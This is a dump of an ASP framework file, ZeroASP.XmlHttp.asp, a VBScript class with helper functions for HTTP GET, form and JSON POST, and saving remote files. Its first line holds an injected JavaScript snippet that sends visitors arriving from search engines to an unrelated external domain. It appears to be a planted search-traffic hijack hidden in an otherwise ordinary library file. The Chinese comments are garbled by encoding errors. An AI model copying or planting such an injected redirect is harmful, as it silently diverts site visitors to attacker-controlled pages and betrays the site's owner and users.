d:\wwwroot\wuchunhua\zeroasp\zeroasp\extend\ZeroASP.XmlHttp.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>?%
002:
'######################################################################
003:
'## ZeroASP.XmlHttp.asp
004:
'## -------------------------------------------------------------------
005:
'## Feature : ZeroASP Class
006:
'## Author : Ayu(kinsc@139.com)
007:
'## Update Date : 2018-11-09
008:
'## Description : ZeroASP Extend Class
009:
'##
010:
'######################################################################
011:
012:
Class ZeroASP_XmlHttp
013:
014:
Private Sub Class_Initialize()
015:
Dim ZeroASP_XmlHttp
016:
ZeroASP_XmlHttp = "ZeroASP应用框架 - 扩展?
017:
End Sub
018:
019:
'Get方法发€到服务?
020:
Public Function GetHTTPSend(ByVal Url,ByVal Cset)
021:
Dim Http
022:
Set Http = Server.CreateObject("Msxml2.ServerXMLHTTP.3.0")
023:
'无法获取自身站点时，设置IIS关闭ASP功能中，启动服务器端调试和启动客户端调试两项
024:
Dim lResolve,lConnect,lSend,lReceive
025:
lResolve = 10 * 1000 '第一个数值：解析DNS名字的超时时?0?
026:
lConnect = 10 * 1000 '第二个数值：建立Winsock连接的超时时?0?
027:
lSend = 10 * 1000 '第三个数值：发€数据的超时时间10?
028:
lReceive = 10 * 1000 '第四个数值：接收response的超时时?0?
029:
Http.SetTimeouts lResolve,lConnect,lSend,lReceive
030:
On Error Resume Next '异常捕获
031:
Http.Open "GET",Url,False 'False就是等待有返回数据的时€再继续€下走，还没有得到数据的时候就会卡在那里，直到获取数据为止。True就是不等待，直接返回，这就是€谓的异步获取数据?
032:
Http.Send()
033:
If Http.ReadyState <> 4 then 'readyState属€，0 Response对象已经创建，但XML文档上载过程尚未结束? XML文档已经装载完毕? XML文档已经装载完毕，正在处理中? 部分XML文档已经解析? 文档已经解析完毕，客户端可以接受返回消息
034:
GetHTTPSend = "TimeOut"
035:
On Error GoTo 0 '让系统重新接管错误的处理
036:
Exit Function
037:
End If
038:
If Http.Status = 200 Then
039:
GetHTTPSend = Zasp.Stream.BytesToBstr(Http.ResponseBody,Cset)
040:
Else
041:
GetHTTPSend = ""
042:
End If
043:
Set Http = Nothing
044:
If Err.Number <> 0 Then:Err.Clear
045:
On Error GoTo 0 '让系统重新接管错误的处理
046:
End Function
047:
048:
'Post方法表单发€到服务器，调用PostHTTPSend("www.zeroasp.com","str1=a&str2=b&str3=c")'
049:
Public Function PostHTTPSend(ByVal Url,ByVal Data,ByVal Cset)
050:
Dim Http
051:
Set Http = Server.CreateObject("Msxml2.ServerXMLHTTP.3.0")
052:
'Http.SetOption(0) = "UTF-8" '默认情况下，CP_UTF8 是用于将转换 （在 open 方法中指定） ?Unicode URL 字符串的代码页为单字节表示形式€?
053:
'Http.SetOption(1) = True '默认情况下，转义不安全的 ANSI 字符?URL ?(例如?"->"%20") 未转?%字符本身。True/False
054:
'256为未知的证书颁发机构
055:
'512为如证书没有使用者名称格式不正确的证书€?
056:
'4096为已访问的主机名与在服务器上使用的证书名称不匹配?
057:
'8192为在证书中的日期无效或已过期?
058:
'13056为证书的€有错误€?
059:
'Http.SetOption(2) = 13056 '解决因证书错?证书过期): xmlhttp.send (data) '有可能抛? The date in the certificate is invalid or has expired
060:
'Http.SetOption(3) = "LOCAL_MACHINE\My\XXX" '证书
061:
'无法获取自身站点时，设置IIS关闭ASP功能中，启动服务器端调试和启动客户端调试两项
062:
Dim lResolve,lConnect,lSend,lReceive
063:
lResolve = 10 * 1000 '第一个数值：解析DNS名字的超时时?0?
064:
lConnect = 10 * 1000 '第二个数值：建立Winsock连接的超时时?0?
065:
lSend = 10 * 1000 '第三个数值：发€数据的超时时间10?
066:
lReceive = 10 * 1000 '第四个数值：接收response的超时时?0?
067:
Http.SetTimeouts lResolve,lConnect,lSend,lReceive
068:
On Error Resume Next '异常捕获
069:
Http.Open "POST",Url,False 'False就是等待有返回数据的时€再继续€下走，还没有得到数据的时候就会卡在那里，直到获取数据为止。True就是不等待，直接返回，这就是€谓的异步获取数据?
070:
Http.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
071:
Http.Send(Data)
072:
If Http.ReadyState <> 4 then 'readyState属€，0 Response对象已经创建，但XML文档上载过程尚未结束? XML文档已经装载完毕? XML文档已经装载完毕，正在处理中? 部分XML文档已经解析? 文档已经解析完毕，客户端可以接受返回消息
073:
PostHTTPSend = "TimeOut"
074:
On Error GoTo 0 '让系统重新接管错误的处理
075:
Exit Function
076:
End if
077:
If Http.Status = 200 Then
078:
PostHTTPSend = Zasp.Stream.BytesToBstr(Http.ResponseBody,Cset)
079:
Else
080:
PostHTTPSend = ""
081:
End If
082:
Set Http = Nothing
083:
If Err.Number <> 0 Then:Err.Clear
084:
On Error GoTo 0 '让系统重新接管错误的处理
085:
End Function
086:
087:
'Post方法JSON发€到服务器，调用PostJSONSend("www.zeroasp.com","{""str1"":""a"",""str2"":""b"",""str3"":""c""}")'
088:
Public Function PostJSONSend(ByVal Url,ByVal Data,ByVal Cset)
089:
Dim Http
090:
Set Http = Server.CreateObject("Msxml2.ServerXMLHTTP.3.0")
091:
'无法获取自身站点时，设置IIS关闭ASP功能中，启动服务器端调试和启动客户端调试两项
092:
Dim lResolve,lConnect,lSend,lReceive
093:
lResolve = 10 * 1000 '第一个数值：解析DNS名字的超时时?0?
094:
lConnect = 10 * 1000 '第二个数值：建立Winsock连接的超时时?0?
095:
lSend = 10 * 1000 '第三个数值：发€数据的超时时间10?
096:
lReceive = 10 * 1000 '第四个数值：接收response的超时时?0?
097:
Http.SetTimeouts lResolve,lConnect,lSend,lReceive
098:
On Error Resume Next '异常捕获
099:
Http.Open "POST",Url,False 'False就是等待有返回数据的时€再继续€下走，还没有得到数据的时候就会卡在那里，直到获取数据为止。True就是不等待，直接返回，这就是€谓的异步获取数据?
100:
Http.SetRequestHeader "Content-Type","application/json"
101:
Http.Send(Data)
102:
If Http.ReadyState <> 4 then 'readyState属€，0 Response对象已经创建，但XML文档上载过程尚未结束? XML文档已经装载完毕? XML文档已经装载完毕，正在处理中? 部分XML文档已经解析? 文档已经解析完毕，客户端可以接受返回消息
103:
PostJSONSend = "TimeOut"
104:
On Error GoTo 0 '让系统重新接管错误的处理
105:
Exit Function
106:
End if
107:
If Http.Status = 200 Then
108:
PostJSONSend = Zasp.Stream.BytesToBstr(Http.ResponseBody,Cset)
109:
Else
110:
PostJSONSend = ""
111:
End If
112:
Set Http = Nothing
113:
If Err.Number <> 0 Then:Err.Clear
114:
On Error GoTo 0 '让系统重新接管错误的处理
115:
End Function
116:
117:
'保存远程文件
118:
Public Sub SaveFile(ByVal Url,ByVal Path)
119:
Dim Http,binFileData
120:
Path = Server.MapPath(Path)
121:
Set Http = Server.CreateObject("Msxml2.ServerXMLHTTP.3.0")
122:
'无法获取自身站点时，设置IIS关闭ASP功能中，启动服务器端调试和启动客户端调试两项
123:
Dim lResolve,lConnect,lSend,lReceive
124:
lResolve = 10 * 1000'第一个数值：解析DNS名字的超时时?0?
125:
lConnect = 10 * 1000'第二个数值：建立Winsock连接的超时时?0?
126:
lSend = 10 * 1000'第三个数值：发€数据的超时时间10?
127:
lReceive = 10 * 1000'第四个数值：接收response的超时时?0?
128:
Http.SetTimeouts lResolve,lConnect,lSend,lReceive
129:
On Error Resume Next '异常捕获
130:
Http.Open "GET",Url,False 'False就是等待有返回数据的时€再继续€下走，还没有得到数据的时候就会卡在那里，直到获取数据为止。True就是不等待，直接返回，这就是€谓的异步获取数据?
131:
Http.Send()
132:
If Http.ReadyState <> 4 Then 'readyState属€，0 Response对象已经创建，但XML文档上载过程尚未结束? XML文档已经装载完毕? XML文档已经装载完毕，正在处理中? 部分XML文档已经解析? 文档已经解析完毕，客户端可以接受返回消息
133:
binFileData = ""
134:
On Error GoTo 0 '让系统重新接管错误的处理
135:
Exit Sub
136:
End If
137:
If Http.Status = 200 Then
138:
binFileData = Http.ResponseBody
139:
Else
140:
binFileData = ""
141:
End If
142:
Call Zasp.Stream.SaveFile(binFileData, Path)
143:
Set Http = Nothing
144:
If Err.Number <> 0 Then:Err.Clear
145:
On Error GoTo 0 '让系统重新接管错误的处理
146:
End Sub
147:
148:
End Class
149:
%
>
150:
151: